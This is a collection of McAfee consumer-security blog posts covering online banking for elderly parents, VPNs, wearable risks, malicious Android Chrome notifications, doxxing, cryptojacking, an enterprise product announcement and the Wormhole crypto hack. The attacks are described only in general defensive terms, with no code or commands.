From there, they can familiarize themselves with the layout of banking site or app they’re using. A straightforward task like checking account balances is a great way to do just that. After their comfort level with the site or app tales root, you can move on to other things they can do online, like pay bills online, deposit a paper check with their phone, and review their statements for any discrepancies. 

Be ready to lend an ear and a hand 

Another thing that may help put your folks at ease is to let them know you’re there to help. Questions will inevitably come up, and it’ll be a great comfort to them knowing that you’re around to lend them a quick answer as needed.  

For example, let’s talk about spotting possible discrepancies in their statements. Some account entries may look a little strange because the name of a business does not always match the way it appears in a bank or credit card statement. This may lead to questions about the purchase—was it something they made? Is it a legitimate charge? These are answers you can help them track down. 

Related, online banking provides our parents with a powerful tool against identity theft and fraud. By reviewing account statements closely, they can potentially spot bogus charges and purchases before they become a larger, and more costly, problem. (For a great primer on the topic, read and share this article that covers identity theft and fraud, along with steps to prevent it.) 

Call on the experts 

Several different banks offer resources specifically for elder bankers. The offerings will of course vary from bank to bank, yet you may find that they have videos and information on their websites designed to make online banking easier. Likewise, they may offer special services that mom and dad may qualify for. In all, feel free to lean on their bank for assistance as needed. They’re there to help. 

You can also look into independent resources as well, such as the AARP and “Ready, Set, Bank,” which both provide a wealth of videos and articles about online banking.   

Helping mom & dad get the most from online banking 

As kids, grandkids, and younger loved ones, there’s plenty we can do to help the elders in our lives enjoy online banking with confidence. Shoring up their security, starting them easy, and then being there to answer questions can help them clear the hurdles of familiarity and trust they face. 

Just as they’ve guided you through the ins and outs of life, here’s a chance to return the favor. What’s more, it’s yet another way you can spend time together, whether in person or over a call. And that’s a good thing. 

The post Helping Mom & Dad: Online Banking appeared first on McAfee Blog.

Why Everyone Needs a VPN

By McAfee

You may hear corporate cybersecurity experts hail the benefits of a VPN, or a virtual private network, to keep company information safe from ransomware attacks and cybercriminals seeking to steal valuable business secrets. It’s unlikely that everyday people, such as yourself, will be targeted by a ransomware scheme, so you may be puzzled about how a VPN can help someone like you be safer online. Luckily, with a VPN being very easy to install and use, you can indeed experience these three everyday benefits to keep your browsing activities safe from eavesdroppers seeking to profit from your online comings and goings. 

1. Stay Safe on Unsecure Networks

The most widely known benefit of a VPN for daily use is to safeguard your device when it’s connected to a public Wi-Fi network. Coffee shops, libraries, hotels, transportation hubs, and other public places often provide courtesy internet service to visitors. Shifty characters often lurk on unprotected networks to lift personally identifiable information (PII) from people handling sensitive emails, making banking transactions, or shopping online. Public Wi-Fi eavesdroppers can lift credit card numbers, addresses, birthdays, and Social Insurance Numbers. 

When you connect to public Wi-Fi that doesn’t have a lock icon, that’s a sign that you should toggle on your VPN. Also, even if you’re required to enter a password, be wary of any network you share with strangers.  

2. Hide Location Data

A VPN can also hide your location data. How does this help you protect your browsing history? First, when you scramble your location, you’re likely to confuse ad networks trying to send you targeted ads. This will free your social media feeds and search engines from targeted ads that often are so accurate they seem like an invasion of privacy. 

Second, hiding your location can protect you from cybercriminals looking to mine PII. VPNs make it impossible for criminals to discover your IP address. (The internet protocol address is what ties your device to a specific local network.) When they’re visible, criminals can trace IP addresses to reveal home addresses, full names, and phone numbers: all of which are key pieces of PII that, in the wrong hands, can jeopardize your identity.  

3. Restrict Data Snooping and Sharing 

While Canada and the European Union don’t allow ISPs (internet service providers) to even collect the browsing data of their customers, keep in mind that in some countries, like the U.S., ISPs can collect, store, share, and/or sell customer data. While advertisers are often the buyers of customer data, in the case of a breach, the more places your PII lives, the more likely it may be involved in a security incident. The goal is to limit the extent and number of places where your browsing history is stored. 

VPNs can scramble your online movements to the point where not even ISPs can track it. Plus, when you log out, your device doesn’t keep a record of what you did while connected to the VPN. Incognito mode on your internet browser hides your IP address, but the websites you visit still collect cookies and store data about your online whereabouts, meaning that it’s not truly private browsing. 

Protect Your Privacy With McAfee 

McAfee Safe Connect VPN encrypts your online activity to protect your data from prying eyes. With a premium paid plan, you can protect up to five devices at once with bank-grade Wi-Fi encryption. Feel more confident whenever you hop on the internet across all your connected devices with just one quick and easy step. 

The post Why Everyone Needs a VPN appeared first on McAfee Blog.

The Wearable Future Is Hackable. Here’s What You Need To Know

By McAfee

Quick mental math challenge: How many Apple Watches can you buy with $118 billion dollars? If you guessed around 296 million watches congrats, you’re smarter than the writer of this blog! We had to use a calculator. The point is that’s the predicted size of the US wearable market by 2028 according to a recent report. That means for as much wearable tech as we have in our lives already, even more, is on the way. 

If you own a piece of wearable tech it’s easy to understand why it’s so popular. After all, it can track our fitness, provide contextual help in daily life, and, in the case of hearing aids, even do cool things like sync with Bluetooth. As VR and AR gains a foothold who knows what other incredible tech might be headed our way by 2028? However wearable tech also comes with certain risks. The most prominent: cybercriminals potentially gaining access to your data. 

How can criminals gain access to your wearable data? 

The weakest link in the wearables space is your mobile phone, not the actual wearable device itself. That’s because wearables tend to link to your mobile device over a short-range wireless spectrum known as “Bluetooth.” This spectrum is used to send and receive data between your wearable device and your mobile. That makes your mobile a prime target for hackers. 

Most commonly, hackers gain access to the data on your mobile through malware-laden apps. These apps are oftentimes designed to look like popular apps, but with enough differences that they don’t flag copyright suspicion. 

What are they doing with my wearable data?

Hackers can use these malicious apps to do a variety of things from making phone calls without your permission, sending and receiving texts, and extracting personal informationall potentially without your knowledge. They can also, with the help of your wearable, track your location through GPS and record any health issues you’ve entered into your wearable. The point is: once they have permissions to your mobile device, they have a lot of control and a lot of resources. 

The hacker can then use this data to conduct varying forms of fraud. Need a special prescription from your doctor that happens to sell well on the black market? Well, so does the hacker. Going out for a jog in the morning? Good information for a burglar to know. These personal details just scratch the surface of information available for the taking on your mobile devices.

Beyond wearables and into the internet of things

These types of threats aren’t limited to wearables, however. The Internet of Things—the phenomenon of devices connected to the Internet for analysis and optimization—encompasses all sorts of other electronic devices such as washing machines and refrigerators that can put your data at risk as well. But these life-changing devices can be secured through education and industry standards. Two things we’re working on day and night. 

Defend your wearables and your personal information

  • Use a PIN. All of your mobile devices ought to have a personal identification number (PIN). This basic security method is a great way of dissuading casual hackers or thieves from stealing your data. 
  • Limit what you share. Most wearables don’t need access to every piece of information about you. You can lessen the likelihood of your wearable sharing sensitive information by only entering the information your wearable device requires. On the flip side, always double-check the permissions that the wearables app is requesting on your mobile device. Does it really need access to your location, camera roll, and address book? If not, be sure to alter these settings appropriately. 
  • Use identity protection. Identity protection can monitor your accounts online – accounts tied to your wearable – so you can receive alerts if that information has been compromised or found online. If it has, a service like McAfee’s Identity Protection Service may also provide insurance and loss remediation as well.

Of course, securing the weakest link in your wearables environment, your phone will go a long way towards keeping your data safe. But what happens when your computer, where you store backups of your smartphone, is compromised too? We’ve got you covered with McAfee LiveSafe™ service, our comprehensive security solution that provides protection for your entire online life. 

The post The Wearable Future Is Hackable. Here’s What You Need To Know appeared first on McAfee Blog.

Why Am I Getting All These Notifications on my Phone?

By McAfee Labs

Authored by Oliver Devane and Vallabh Chole  

Notifications on Chrome and Edge, both desktop browsers, are commonplace, and malicious actors are increasingly abusing this feature. McAfee previously blogged about how to change desktop browser settings to stop malicious notifications. This blog focuses on Chrome notifications on Android mobile devices such as phones and tablets, and how McAfee Mobile Security protects users from malicious sites leveraging these notifications.  

Where do these notifications come from? 

Most users are unaware of the source of these notifications. Permission is granted when a user clicks ‘Allow’ on a prompt within Android Chrome. 

Many malicious websites use language and images like the one above that entice the user to click ‘Allow’ such as ‘Just one more step! Click “Allow” to continue. Once allow is clicked, the website is added to a site permissions list, which will enable it to send notifications.  

What do they look like? 

The notifications will look like a usual Android notification which you will be used to seeing such as you have a new WhatsApp message or email. To identify the source of the notification, we need to look for the application name which is like the one highlighted in the red box below.  

The image above shows the notification came from Chrome and it is from the website premiumbros[.]com. This is something you should pay attention to as it will be needed when you want to stop annoying notifications.  

Why are some of them malicious? 

Some notifications like the ones in this blog are malicious as they attempt to trick users into believing that their mobile device is infected with a virus and some action is required. When the users click the notification, Chrome will load a website which will present them with a fake warning like the example below: 

Clicking either Cancel or Update Now on the above website will result in the same behavior. The browser will redirect the user to a google play store app so that they can download and install it.  

The malicious websites will flood your phone with several notifications. The screenshot below shows an example of this: 

Why do malicious actors do this? 

You may ask yourself, why do malicious actors try to get me to install a google play application? The people behind these scams receive a commission when these applications are installed on devices. They rely on deceptive tactics to trick users into installing them to maximize profits. 

How can I remove notifications? 

To remove a website’s notification permission, you need to change a Chrome setting. 

1- Find out the name of the website which is sending these notifications. This can be done by looking at the notification and noting down the name of the website. If we use this blog as an example, it would be premiumbros[.]com

2- Open the Chrome browser app which can be found by performing the following search: 

3- Click the three … on the top right hand of the application 

4- Scroll down and click on settings 

5- Click on Notifications 

6- Scroll down until you find the website which you identified in step 1 

7- Pres the blue radio button so it turns grey 

8- Notifications will now be disabled for that website. If you want to block multiple websites, click the radio button for them as well.  

How does McAfee Protect me? 

McAfee customers who have McAfee Mobile Security are protected against these malicious websites as long as they enable the ‘Safe Browsing’ feature within the application.  

Upon trying to access a malicious website such as the one in the blog it will be blocked as shown in the image below: 

 

Please read this guide on enabling the Safe Browsing feature within the Mobile Security Application. 

The post Why Am I Getting All These Notifications on my Phone? appeared first on McAfee Blog.

McAfee 2022 Consumer Mobile Threat Report

By McAfee

We’re excited to bring you the latest edition of the McAfee 2022 Consumer Mobile Threat Report. After all, when you know the challenges you face, it’s easier to be confident online. In this blog, we’ll take a closer look at some leading examples of techniques that cybercriminals are using to trick or defraud you via your mobile phone. These examples are some of the more sophisticated attacks, using real logos, quality graphics, and personalized messages. We hope this provides a useful resource for protecting your digital life, mobile devices, and personal information so that you can enjoy a safe life online with your family. 

Cybercriminals Take Their Scams to the Next Level

Cybercriminals are upping their game, using personal information and high-quality graphics to make their malware look like legitimate apps or official messages. Because these attacks are successful at defrauding significant numbers of mobile users out of their money and information, more criminals will jump on this approach or expand their malicious campaigns. Let’s take a look at some of the different techniques being used by scammers to fool mobile users.  

Smishing looks friendly but is just the opposite

Mobile smishing (aka phishing text messages) are attacks using personalized greetings in text messages that pretend to be from legitimate organizations to appear more credible. These messages often link to websites with authentic logos, icons, and other graphics, prompting the user to enter personal information or download an app. Users should be extra careful about text messages from unknown sources and should go directly to the organization’s website to validate requests. 

Mobile gaming scams pose as gamer help and cheating tools

Cheating tools and hacking apps are popular ways to get extra capabilities in mobile games. Criminals are exploiting this by promoting game hacking apps that include malicious code on legitimate messaging channels. If installed, the malware steals account credentials for social media and gaming accounts. Gamers should use caution when installing game hacks, especially if they request superuser permissions. 

Crypto is popular and so are scams targeting it

Cryptocurrencies are providing new opportunities for mobile device attacks. The latest ploy is phony apps that promise to mine coins in the cloud for a monthly fee. Fake reviews and a low cost make them sound too good to be true—and they are. These apps just take the money without doing any coin mining. With no actual malicious code, these apps are hard to detect, so users should be suspicious of being promised hundreds or thousands of dollars of crypto coins for just a few dollars a month. 

Watch out for fake messaging apps

Another attack uses a variety of fake apps with slick graphics to trick users into premium subscriptions. Hundreds of these apps promise features such as mobile games or photo editing and are supported by plenty of fake five-star reviews. When installed, the apps ask for the user’s phone number and verification PIN and use them to sign up for premium text services that direct payments to the criminals. Users should read reviews looking for vague statements, repetitive wording, and a mix of five-star and one-star ratings. For a deeper dive into the scams, be sure to view full report.

How to Protect Yourself 

While threat tactics continue to change as criminals adapt and respond to detection and enforcement techniques, there are a few steps users should take to limit their exposure and risk. 

Stay on the app stores

While some malicious apps do make it through the app store screening process, most of the attack downloads appear to be coming from social media, fake ads, and other unofficial app sources. Before downloading something to your phone, do some quick research about the source and developer. Many of these scams have been flagged by other people. 

Watch requests for settings and permissions

Many malicious apps get the access they need by asking the user to grant them permission to use unrelated privileges and settings. When installing a new app, take a few moments to read these requests and deny any that seem unnecessary, especially for superuser access and accessibility services.  

Update your software

Developers are actively working to identify and address security issues. Both operating systems and apps should be frequently updated so that they have the latest fixes and security protections. 

Be wary of too many five-star reviews

Cybercriminals often flood their Google Play apps with fake five-star reviews. Many fake or malicious apps only have a mix of five-star and one-star reviews. The five-star ones typically have vague statements and repetitive wording, giving clues that they are submitted by bots. Compare them to the one-star reviews for insight on the app’s real capabilities. 

Pay attention if your phone is acting funny

Devices that are behaving unusually may just have a basic tech issue but it can also be a sign of being hacked. Follow up when something is not quite right, check recent changes or contact tech support from the mobile device vendor or security software provider. 

Use security software

Comprehensive security software across all devices, whether they are computers, tablets, or smartphones, continues to be a strong defensive measure to protect your data and privacy from cyber threats. 

We hope this report helps you stay on the lookout for these and other mobile threats so you can safely and confidently enjoy your life online.

The post McAfee 2022 Consumer Mobile Threat Report appeared first on McAfee Blog.

A Look Beyond Their Lock Screens: The Mobile Activity of Tweens and Teens

By McAfee

While our tweens and tweens seem to grow into adults right before our eyes, their mobile usage matures into adulthood as well—and in many ways, we don’t see. 

Girls and boys hit their mobile stride right about the same point in life, at age 15 where their mobile usage jumps significantly and reaches a level that they carry into adulthood, which is one of the several findings we uncovered in our global survey of parents, tweens, and teens this year. 

So, what are tweens and teens up to on their mobile devices as they mature? And where do their parents fit in? We asked parents and kids alike. What we found gives us a look into the mobile lives of tweens and teens behind their lock screens. 

Mobile is the Most Important Device—Yet Far More So for Kids than Their Parents  

For starters, parents and their kids alike say that their mobile device is the most important one in their life. Parents placed mobile in their top two with their mobile device or smartphone at 59% followed their computer or laptop at 42%. Tweens and teens put their mobile device or smartphone at the top of the list as well, yet at a decisive 74% worldwide, followed by their gaming console at 68%.  

“Parents and their kids alike say that their mobile device is the most important thing in their life.”

Further, tweens and teens place a higher value on their smartphones to keep them connected with friends and family. Some 59% of parents said mobile was essential in this role, whereas tweens and teens put that figure at 64%. For parents, the runner-up device for keeping connected was the computer or laptop at 42%.  

Yet quite interestingly, tweens and teens said their second-most important device for keeping connected with others is their gaming console, at 40%, perhaps indicating gaming’s role in creating and fostering friendships today. Of course, plenty of that gaming is happening on mobile as well, with half of all tweens and teens surveyed worldwide saying that they play games on their smartphones. 

It’s No Secret—Kids Will Cover Their Tracks Online. But How? 

Broadly speaking, the activities kids do on their phones match up closely with what their parents think they’re doing on their phones. Yet there’s a fair share of secretive activity that happens within that. 

Regarding general activity, parents and their tween- and teen-aged children worldwide see eye to eye when it comes to what parents think are their kids’ favorite activities on mobile are and what kids say they actually are:   

  • Watching short videos (YouTube) – parents think, 66%; kids say 67%  
  • Browsing the internet – parents think, 64%; kids say 66% 
  • Streaming music – parents think, 53%; kids say 55% 

However, and perhaps unsurprisingly, tweens and teens say they’ve kept some the things they’re watching, browsing, and streaming from their parents. When asked if they sometimes hide specific online activity from their parents, 59% of tweens and teens worldwide said they have done so in some form or other, including: 

  • Clearing the browser history, 26% 
  • Close/minimize browser when parent walked in, 21% 
  • Hide or delete IMs or videos, 15% 
  • Lie or omit details about online activities, 15% 
  • Use a device their parents don’t check, 10% 

Keeping an Eye on the Kids: Parents Tend to Take a More Hands-on Approach to Monitoring Mobile 

Worldwide, monitoring apps rank relatively low when it comes to parents keeping tabs on their children’s mobile usage. Use of parental controls software on smartphones came in at a 27% global average, with India (37%) and France (33%) leading the way, while Japan fell on the low end (12%).  

Largely, parents appear to take up this work themselves, citing several other ways they take charge of their children’s time online:  

  • Limit the time of day or length of time when the child has screen time, 59% 
  • Check the websites or apps the child visits or uses, 56% 
  • Look at call records or text messages on a smartphone the child uses, 40% 
  • Friend or follow the child on social media sites, 35% 
  • Track the child’s location through GPS apps or software, 30% 

Children’s Mobile Devices are Less Protected—and Can Fall Victim to Hacks and Attacks as a Result 

Consistent with other research we recently gathered, families are relying on mobile more and more, yet this hasn’t seen an increase in mobile protection for the smartphones they count on.  

Our research published in early 2011 found double-digit increases in mobile activities such as online banking, shopping, finances, and doctor visits, all of which can generate high-value data that are attractive to hackers and cybercriminals. Despite this newfound reliance on mobile, many smartphones worldwide remain unprotected. Children’s phones are less protected than their parents’ phones as well. 

Taken together, these security lapses can lead to downloaded malware, data and identity theft, illicit crypto mining apps on the device, and other attacks that can put children and families at risk. For a deeper dive, you can view the full report.

Misconceptions about online protection may play a role in these lax measures. This survey found that 49% of parents think a new phone is more secure than a new computer, and 59% of tweens and teens thought the new phone was more secure—both denying the reality that smartphones, and the people using them, are subject to hacks and attacks just like with any other device that connects to the internet.  

Amid this climate, more than 1/3 of families reported that a child in their household had been the victim of a financial information leak and 15% stated that there’d been an attempt to steal a child’s online account or identity. With smartphones providing children with a major onramp to the internet, it follows that stronger mobile security could help prevent such attacks from happening. 

Tweens and Teens in Several Countries Lean Heavily on Mobile for Online Learning 

Protecting mobile devices and the family members who count on them takes on further importance when we consider that children in some nations rely heavily on their smartphones for online learning. 

Although using mobile for online learning was relatively low globally at 23%, parents and children in three nations reported a high rate of attending classes and courses on mobile—with India at 54%, Mexico at 42%, and Brazil at 39%, once again posing the possibility that mobile offers many children the most reliable broadband connection required for such instruction. In other words, there are households where broadband comes by way of mobile, rather than a cable or fiber connection. 

Meanwhile, other nations saw significantly lower figures for online learning on mobile, such as Germany at 7%, France at 8%, and Japan at 11%. The U.S., Canada, and the UK all reported rates of 17%. 

Nurturing Your Kids on Mobile: They’re Growing Before Your Eyes 

“With smartphones providing children as a major onramp to the internet, it follows that stronger mobile security could prevent such attacks from happening”

Something we’ve yet to mention here is how much online shopping and banking kids are doing on their mobile devices. No question, tweens and teens are doing those things too at a global rate of 25% and 12% across all age groups respectively. Not surprisingly, those numbers climb as teens approach adulthood. This serves as a reminder that our children are maturing hand-in-hand with their smartphones, which asks a few things of us as parents as they grow and adjust to their mobile world. 

As with all things parenting, there are moments of where you have a sense of what’s right for you and your child, yet you’re uncertain how to act on it. That’s definitely the case with smartphones and the internet in general. Despite having grown up alongside the internet over the course of our adult lives, we can still have plenty of questions. New ones. Old ones. Ones we weren’t even aware of until they cropped up. 

With that, we’re glad you’re dropping by our blog. And you’re more than invited to visit whenever you can. A big focus of ours is providing you, as a parent, with resources that answer your questions, in addition to articles about online protection in general that simply make for good reading. Our aim is to help you think about what’s best for your family and give you some ideas about how you can see that through, particularly as our children grow in this mobile world of ours.

The post A Look Beyond Their Lock Screens: The Mobile Activity of Tweens and Teens appeared first on McAfee Blog.

Doxxing, The Internet, and How You Can Lock Down Your Data

By McAfee

Have you ever been online and replied to a comment or post? Maybe it was on Reddit or on an influencer’s Instagram. Did other people reply to you, and were any of them unexpectedly hostile? When you’re online, a little hostility is sadly par for the course, but most people brush it off and move on to enjoy other aspects of life online. But what would you do if that unpleasant interaction went much farther than was reasonable? What if one day you discovered the most important parts of your identity had been maliciously and intentionally revealed online? Let’s talk about doxxing – what it is and how you can avoid becoming a victim of this kind of harassment. 

What is Doxxing?

Doxxing, derived from the hacker term “dropping docs”, is internet slang for revealing someone’s identity online for the purposes of harassing them. It usually goes way beyond simply revealing someone’s email address or name and may involve personal information like a home address or workplace, SSN, financial information, phone number, pictures, texts, IP address, and other important details. The tricky thing about doxxing is that aspects of it may not be a crime, depending on what you’ve made publicly available online. However, the context in which doxxing occurs is crucial. Often it’s the first step taken to incite more severe harassment. For instance, the doxxer may not plan on taking action against their target but instead hope that someone else does. When put up against a recent Pew Research report showing that 41% of U.S. web users experience harassment in some form, it’s clear that Doxxing is a dangerous trend online. 

Why is Doxxing so Destructive?

Doxxing is a problem that’s grown in scope simply because there’s so much more data about us being kept online. Third-party services, called data brokers, capture our account info, the sites we visit, how long we spent on them, and other kinds of metadata to create profiles they then resell to advertisers. If someone gets access to these troves of data, they can reveal extremely damaging information about an individual, or data that allows a person to be damaged. For instance, with a phone number and a current address, some criminals were able to call in SWAT teams on innocent individuals. Political dissidents are often doxxed by the governments their protesting against. And on a lighter note, the adult website Ashley Madison, which promotes extramarital affairs, had their members’ data leaked online, to the embarrassment of a few public figures. 

What to Do if You’re Doxxed

The response should be very similar to the one you’d take if your wallet was stolen. Move fast, stem the loss, and begin remediation as soon as possible. Here are some broad steps that can be taken. 

  • If you’ve been affected through social media, report it and get your info removed. Depending on the severity of intent, you may want to contact local law enforcement if real-world harassment is expected to result. 
  • Revealed personal data is easily transmittable over the internet. Set Google alerts to see if further exposure is happening online. 
  • Were financial accounts or your social security numbers revealed? Immediately change your passwords and watch for activity suggesting identity theft. A credit freeze or fraud alert may be necessary to prevent someone from opening an account in your name.  

Protect Yourself From Being Doxxed

Of course, not being doxxed in the first place is the ultimate goal of a proactive online protection plan.  Here’s what we recommend: 

Use identity theft protection 

Identity theft protection services help protect your data, monitor your online accounts like emails, SSNs, and more. In addition to online monitoring, they should also offer insurance and even theft remediation if the worst should occur. 

Share with caution 

Before you tag your location, friends, or workplace in a photo think about who has access to this information. What’s gained or lost by sharing all that info? Also, security questions for your accounts should not use the name of your pet or your first-born child if you have posted those on Facebook. 

 Use a VPN if you’re on Wi-Fi 

Public Wi-Fi networks at coffee shops and airports may not be secure against hackers and snooping. That’s why we recommend using a VPN whenever you’re connected online. This powerful tool hides your activity and location whenever you’re online on an unsecured network. 

Go ahead, Google yourself once in a while 

Googling yourself is a great way to see if anyone is using your online identity in bad ways.  

Adjust your privacy settings 

Social networks allow you to control who can see your data. Usually, with a few clicks, you can restrict what you show online to a great degree. For instance,  makes your payments viewable to other users as a default, but can easily be changed to hide them from the public. 

Protect your passwords 

Using long, complex, unique passwords for every account is convenient and maybe the best way to prevent your information from being stolen. Yes, we said convenient because with a password manager you only need to remember one key to create and manage much longer ones for all your most important accounts. 

Seize the Day Without Worrying About Doxxing

The reality is that the more we live online, the more our identities will too.  This does not mean we need to live a restricted life online. In fact, using comprehensive online protection, which features most of the tools above, we can remain free to enjoy life on our terms. Doxxing is something to be aware of, but with great protection, it’s far from anything we need to be worried about as we make the most of our lives online. 

The post Doxxing, The Internet, and How You Can Lock Down Your Data appeared first on McAfee Blog.

McAfee Enterprise SSE: Named a Leader In 2022 Gartner Magic Quadrant for SSE

By Gee Rittenhouse

Companies continue to accelerate their digital transformation and hybrid work strategies with security remaining top of mind. For a growing number of enterprises, the solution has been the deployment of a Security Service Edge (SSE). Introduced as a market category by Gartner, per our view we believe SSE is the consolidation of Secure Web Gateway (SWG), Cloud Access Security Broker (CASB), and Zero Trust Network Access (ZTNA) within a single, cloud-delivered solution for securing access to web, cloud, and private applications from any corner of the world, mitigating user and cloud threats, and protecting sensitive cloud data at rest, in transit, or in use.

Recognizing the significant role SSE is filling in cybersecurity, Gartner® has published its first ever Magic Quadrant™ report for SSE. We are honored to announce that the McAfee Enterprise SSE Portfolio has been recognized as a Leader for its solution MVISION Unified Cloud Edge (UCE) in the report, positioned rightmost for “Completeness of Vision.” Our cloud-native platform is architected for the SSE market and boasts a next-gen SWG, and the industry’s first data-aware ZTNA solution, empowering our customers in their cloud and network transformations. It was also recognized as a Leader for Gartner Magic Quadrant for Cloud Access Security Brokers Leader for four successive years 2017–2020.

2022 Gartner Magic Quadrant for Security Service Edge (Source: Gartner)

In 2021, McAfee Enterprise SSE made several updates and additions to its MVISION UCE solution, strengthening its position as an industry expert, including:

  • Highly innovative Remote Browser Isolation (RBI) technology integrated with MVISION UCE for advanced threat protection, data security and visibility through unified policies.
  • Full-featured data security portfolio, including native integration of Enterprise DLP for unified data protection and incident management across cloud, web, private apps and endpoints.
  • Extensive Cloud Security Posture Management (CSPM) capabilities, including Shift Left scanning to detect and correct misconfigurations and drift early in the CI/CD pipeline.
  • Support of SaaS Security Posture Management (SSPM) for continuous assessment of SaaS security landscape and remediating misconfigurations.
  • Presence backed by worldwide sales and support, along with a massively upgraded cloud footprint.
  • Includes comprehensive solutions, such as RBI for risky websites, across all the pricing tiers at no additional cost.
  • Rapidly expanding CASB Connect Program, which allows cloud service providers or partners to build lightweight API connections to the MVISION Cloud, leading several new service providers to adopt MVISION Cloud.

As a companion report to the Magic Quadrant, Gartner has also published its Critical Capabilities report for SSE, which shares deep insights into the product capabilities of each vendor based on a specific set of use cases. The below use cases are included in this year’s SSE Critical Capabilities Report:

  1. Secure Web and Cloud Usage
  2. Detect and Mitigate Threats
  3. Connect and Secure Remote Workers
  4. Identify and Protect Sensitive Information

MVISION UCE received the highest score across all four use cases, paving way for the SSE market in features and functionality. We believe our rich heritage in DLP, strong CSPM/SSPM, and deep usage of the MITRE ATT&CK framework have been the key contributors towards our #1 position across use cases in the Critical Capabilities report.

We are extremely proud of the recognition for our vision and product innovation. Our singular goal is to build a more secure world. To learn more about how Gartner assessed the market and the MVISION UCE solution, download your copy of the report here.

You can also join our webinar on March 9, 2022, for a deep dive into why McAfee Enterprise SSE is a Leader in the 2022 Gartner Magic Quadrant for SSE.

Click here for a free demo of the MVISION UCE solution.

Gee Rittenhouse
CEO, McAfee Enterprise SSE Portfolio

Gartner Disclaimer: Gartner does not endorse any vendor, product or service depicted in our research publications, and does not advise technology users to select only those vendors with the highest ratings. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from McAfee.
Gartner and Magic Quadrant are registered trademarks of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.
Gartner “Magic Quadrant for Security Service Edge” (SSE), John Watts, Craig Lawson, Charlie Winckless, Aaron McQuaid, 15 February 2022
Gartner “Critical capabilities for Security Service Edge” (SSE), John Watts, Craig Lawson, Charlie Winckless, Aaron McQuaid, 15 February 2022

As of 28, January 2022, McAfee Enterprise is now the McAfee Enterprise SSE Portfolio.

 

 

 

 

 

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Social Media: How to Steer Your Family Clear of Cryptomining Malware

By Toni Birdsong

It’s fun to jump on our favorite social media sites such as Facebook, Instagram, or LinkedIn and know we can quickly check in with friends and family, discover interesting content, and instantly connect with colleagues worldwide. The last thing on most of our minds when tapping our way into these familiar online communities is being the target of cybercrime. 

But it’s happening more and more.  

Last month, The Federal Trade Commission (FTC) described popular social media sites as “goldmines” for malicious attacks. The FTC revealed that more than one in four people who reported losing money to fraud in 2021 said it started on social media with an ad, a post, or a message. More than 95,000 people reported about $770 million in losses to fraud initiated on social media platforms in 2021. According to the FTC, those losses account for about 25 percent of all reported losses to fraud in 2021 and represent a stunning eighteenfold increase over 2017 reported losses. 

Dark Web Goes Mainstream

The social environment is a magnet for bad actors because people of every age and country flock there each day. The constant flow of conversation and content—and more importantly, the climate of trust—makes social networks juicy targets for cybercrime.  

The biggest motivation? The emerging digital security threat of cryptojacking (aka illegal cryptomining). Cryptojacking is illegally accessing another person’s computer power to mine cryptocurrency. Cybercriminals do this by getting a victim to click on a malicious link delivered via direct message, a news story, or an ad. Once clicked, that link loads crypto mining code on the victim’s computer or leads them to an infected website or online ad with JavaScript code that auto-executes once it’s loaded in the victim’s browser. Often the malware goes undetected, and the only way a victim might know their system has been compromised is that it may start performing more slowly.    

The Fallout 

While bad actors use social media platforms to distribute cryptomining malware, they also spread other malware types such as advertisements, faulty plug-ins, and apps that draw users in by offering “too good to be true” deals. Once clicked on, the malware allows cybercriminals to access data, create keyloggers, release ransomware, and monitor social media accounts for future scamming opportunities.  

Protecting Your Family  

Educate your family.

Be sure your kids understand the risks and responsibilities associated with device ownership. Consider putting time aside each week to discuss crucial digital literacy topics and ongoing threats such as cryptomining malware. Consider a “device check-in” that requires each person in your family to “check off” the following security guidelines.  

Use comprehensive security software.

To help protect your family devices from viruses, malware, spyware, and other digital threats entering social media sites, consider adding extra security to your family devices with McAfee Total Protection. 

Avoid sharing personal information online.

Avoid posting home addresses, full birth dates, employer information, school information, as well as exact location details of where you are.  

Keep software and operating systems up to date.

Install software updates so that attackers cannot take advantage of the latest security loopholes.  

Use strong passwords.

Select passwords that will be difficult for bad actors to guess and use different passwords for different programs and devices.  

Pay attention to device performance.

For a virus to solve cryptographic calculations required to mine cryptocurrency requires an enormous amount of computer processing power (CPUs). Cryptojacking secretly consumes a victim’s processing power, battery life, and computer or device memory. Look out for a decline in device processing speed. 

Avoid connecting with people you don’t know.

Be careful when accepting friend requests, direct messages, or clicking on links sent by someone you don’t know personally. This is one of the most popular ways cybercriminals gain access.  

Verify known friend requests and messages.

Be discerning even when a known friend sends you a second friend request claiming they’ve been hacked. Search known names on the platform for multiple accounts. Cybercriminals have been known to gather personal details of individuals, pose as that person, then connect with friend lists using familiar information to build trust with more potential victims.  

Report spam and suspicious accounts.

Be sure to report any fraudulent activity you encounter on social platforms to help stop the threat from spreading to other accounts, including friends and family who may be connected back to you. 

New scams and more sophisticated ways to steal data—and computer processing power for illegal cryptomining—surface daily. Staying in front of those threats and folding them into your family dynamic is one of the most powerful ways to give your kids the skills and security habits they will need to thrive in today’s digital world.   

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Latest Crypto Vulnerability Leaks $320 Million: 3 Tips to Boost Your Crypto Confidence

By Vishnu Varadaraj

Cryptocurrency has boomed in the last several years, with beginners and experts alike jumping into the industry. It’s proven now to be more than a passing hobby or trend. Cryptocurrency is a way of conducting business and making money for people around the world.  

As the intrigue and interaction with crypto grows, cybercriminals are finding new ways to exploit the system. According to CNBC, a recent crypto hack resulted in the loss of over $320 million across two major blockchain networks. Here’s what you need to know about this latest breach, plus some tips on how you can protect your crypto assets. 

Down the Wormhole 

There’s more than one kind of cryptocurrency, and many users spread out their investments across various currencies and blockchain ecosystems. To link their activities, some crypto users employ a type of bridging software that can easily connect their different accounts. Wormhole is a popular bridge that allows users to freely move their tokens and NFTs between the Solana and Ethereum blockchains.  

In this recent crypto hack, a cybercriminal installed a bug that minted 120,000 fake currency on the Solana side of the Wormhole bridge. Then, the criminal transferred 120,000 counterfeit currency to the Ethereum side to claim Ethereum tokens. This resulted in the hacker gaining at least $251 million worth of Ethereum, nearly $47 million in Solana, and upwards of $4 million in USDC, a third type of cryptocurrency. 

The Wormhole team offered the hacker $10 million to return the stolen currency and explain how they executed the hack. Wormhole has since tweeted that they’ve restored all stolen funds and that the system is now back to normal. Experts think they have successfully reverse-engineered the exploit and suspect that the attacker gained access through bypassing the verify signature process. 

Staying Safe From Crypto Losses 

